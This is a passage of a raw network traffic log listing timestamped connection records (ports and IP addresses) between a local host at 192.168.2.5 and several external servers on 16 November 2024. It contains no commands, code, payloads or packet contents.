Nov 16, 2024 13:01:37.857106924 CET	49855	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:37.857170105 CET	443	49855	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:37.858175993 CET	443	49855	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:37.858241081 CET	49855	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:37.859149933 CET	49855	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:37.859224081 CET	443	49855	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:37.859347105 CET	49855	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:37.859365940 CET	443	49855	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:37.875886917 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.875978947 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.876013041 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.876022100 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.876033068 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.876044035 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.876054049 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.876064062 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.876085997 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.876099110 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.876099110 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.876101971 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.876113892 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.876123905 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.876123905 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.876136065 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.876147032 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.876157999 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.876166105 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.876166105 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.876167059 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.876177073 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.876204014 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.876204014 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.876247883 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.911283970 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.911443949 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.911453009 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.911463976 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.911473036 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.911482096 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.911490917 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.911500931 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.911509991 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.911520004 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.912105083 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.912105083 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.912105083 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.912105083 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.912105083 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.912105083 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.938988924 CET	49856	443	192.168.2.5	23.221.22.213
Nov 16, 2024 13:01:37.939707994 CET	49858	443	192.168.2.5	23.221.22.213
Nov 16, 2024 13:01:37.939739943 CET	443	49858	23.221.22.213	192.168.2.5
Nov 16, 2024 13:01:37.939822912 CET	49855	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:37.946293116 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.946301937 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.946351051 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.946362972 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.946372986 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.946398020 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.946398020 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.946419954 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.946496010 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.946521044 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.946530104 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.946573973 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.946573973 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.946657896 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.946667910 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.946677923 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.946707010 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.946732998 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.946784973 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.946796894 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.946805954 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.946815968 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.946832895 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.946845055 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.946855068 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.946860075 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.946860075 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.946885109 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.946894884 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.946894884 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.946896076 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.946923971 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.946933985 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.946960926 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.946960926 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.947005033 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.947005987 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.947017908 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.947072983 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.947072983 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.947181940 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.947206974 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.947220087 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.947228909 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.947242975 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.947249889 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.947251081 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.947252989 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.947266102 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.947277069 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.947287083 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.947288990 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.947297096 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.947316885 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.947328091 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.947336912 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.947336912 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.947340012 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.947346926 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.947354078 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.947366953 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.947376966 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.947386980 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.947386980 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.947421074 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.985807896 CET	49857	443	192.168.2.5	23.221.22.213
Nov 16, 2024 13:01:38.005451918 CET	49865	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:38.005480051 CET	443	49865	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:38.005656004 CET	49866	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:38.005686998 CET	443	49866	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:38.005695105 CET	49865	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:38.005733013 CET	49866	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:38.006017923 CET	49866	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:38.006033897 CET	443	49866	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:38.006441116 CET	49865	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:38.006455898 CET	443	49865	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:38.035952091 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.046591043 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.046617985 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.047710896 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.047777891 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.048190117 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.048259974 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.048430920 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.048444033 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.099529028 CET	443	49855	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.099558115 CET	443	49855	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.099565029 CET	443	49855	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.099586010 CET	443	49855	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.099595070 CET	443	49855	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.099602938 CET	443	49855	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.099746943 CET	49855	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.099747896 CET	49855	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.099819899 CET	443	49855	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.099874973 CET	49855	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.106837988 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.108690977 CET	443	49855	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.108755112 CET	443	49855	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.108793020 CET	49855	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.108810902 CET	443	49855	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.108844995 CET	49855	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.108921051 CET	49855	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.111787081 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.136904955 CET	49867	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:38.136923075 CET	443	49867	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:38.137006044 CET	49867	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:38.137674093 CET	49868	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:38.137738943 CET	443	49868	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:38.138044119 CET	49868	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:38.139211893 CET	49858	443	192.168.2.5	23.221.22.213
Nov 16, 2024 13:01:38.141663074 CET	49868	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:38.141705036 CET	443	49868	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:38.141788960 CET	49867	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:38.141799927 CET	443	49867	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:38.172041893 CET	49869	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:38.172059059 CET	443	49869	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:38.172117949 CET	49869	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:38.172534943 CET	49869	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:38.172547102 CET	443	49869	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:38.188523054 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.217803955 CET	443	49855	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.217839003 CET	443	49855	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.217885017 CET	49855	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.217920065 CET	443	49855	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.217941999 CET	49855	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.217964888 CET	49855	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.225889921 CET	443	49855	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.225912094 CET	443	49855	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.225966930 CET	49855	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.225976944 CET	443	49855	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.225999117 CET	443	49855	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.226054907 CET	49855	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.226064920 CET	443	49855	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.226109028 CET	443	49855	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.226155996 CET	49855	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.227432966 CET	49870	443	192.168.2.5	108.156.211.19
Nov 16, 2024 13:01:38.227473974 CET	443	49870	108.156.211.19	192.168.2.5
Nov 16, 2024 13:01:38.227560043 CET	49870	443	192.168.2.5	108.156.211.19
Nov 16, 2024 13:01:38.227809906 CET	49871	443	192.168.2.5	20.96.153.111
Nov 16, 2024 13:01:38.227844954 CET	443	49871	20.96.153.111	192.168.2.5
Nov 16, 2024 13:01:38.228008986 CET	49871	443	192.168.2.5	20.96.153.111
Nov 16, 2024 13:01:38.229223967 CET	49870	443	192.168.2.5	108.156.211.19
Nov 16, 2024 13:01:38.229255915 CET	443	49870	108.156.211.19	192.168.2.5
Nov 16, 2024 13:01:38.229765892 CET	49871	443	192.168.2.5	20.96.153.111
Nov 16, 2024 13:01:38.229788065 CET	443	49871	20.96.153.111	192.168.2.5
Nov 16, 2024 13:01:38.230530024 CET	49855	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.230550051 CET	443	49855	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.231542110 CET	49872	443	192.168.2.5	20.125.209.212
Nov 16, 2024 13:01:38.231575966 CET	443	49872	20.125.209.212	192.168.2.5
Nov 16, 2024 13:01:38.231831074 CET	49872	443	192.168.2.5	20.125.209.212
Nov 16, 2024 13:01:38.232254028 CET	49872	443	192.168.2.5	20.125.209.212
Nov 16, 2024 13:01:38.232265949 CET	443	49872	20.125.209.212	192.168.2.5
Nov 16, 2024 13:01:38.278748989 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.278789043 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.278796911 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.278805971 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.278820038 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.278831005 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.278858900 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.278877020 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.278889894 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.278902054 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.278920889 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.304229975 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.304251909 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.304291964 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.304308891 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.304310083 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.304362059 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.304377079 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.304415941 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.316519976 CET	443	49860	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.332925081 CET	49860	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.332989931 CET	443	49860	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.333520889 CET	49860	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.333580017 CET	443	49860	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.385447025 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.385488987 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.385516882 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.385525942 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.385529041 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.385529041 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.385535955 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.385591030 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.385591030 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.385633945 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.385654926 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.385664940 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.385674000 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.385682106 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.385689020 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.385703087 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.385703087 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.385704041 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.385715961 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.385730982 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.385739088 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.385740995 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.385740995 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.385747910 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.385773897 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.385782957 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.385808945 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.385817051 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.385824919 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.385824919 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.385824919 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.385890961 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.385906935 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.385915995 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.385966063 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.386089087 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.386205912 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.386214018 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.386223078 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.386262894 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.386262894 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.386265993 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.386318922 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.386337996 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.386362076 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.386369944 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.386370897 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.386379004 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.386410952 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.386436939 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.386439085 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.386445999 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.386454105 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.386462927 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.386471987 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.386482000 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.386504889 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.386504889 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.386521101 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.386626959 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.386637926 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.386646986 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.386668921 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.386738062 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.386746883 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.386749029 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.386760950 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.386771917 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.386781931 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.386791945 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.386800051 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.386800051 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.386831999 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.386869907 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.386881113 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.386894941 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.386907101 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.386915922 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.386940002 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.386964083 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.387062073 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.387070894 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.387074947 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.387084007 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.387095928 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.387121916 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.387121916 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.387166977 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.387240887 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.387252092 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.387259007 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.387301922 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.387301922 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.387341022 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.387352943 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.387362957 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.387373924 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.387398005 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.387398005 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.387466908 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.387572050 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.387583017 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.387592077 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.387602091 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.387614012 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.387623072 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.387651920 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.387651920 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.387677908 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.387689114 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.387698889 CET	80	49802	185.215.113.206	192.168.2.5
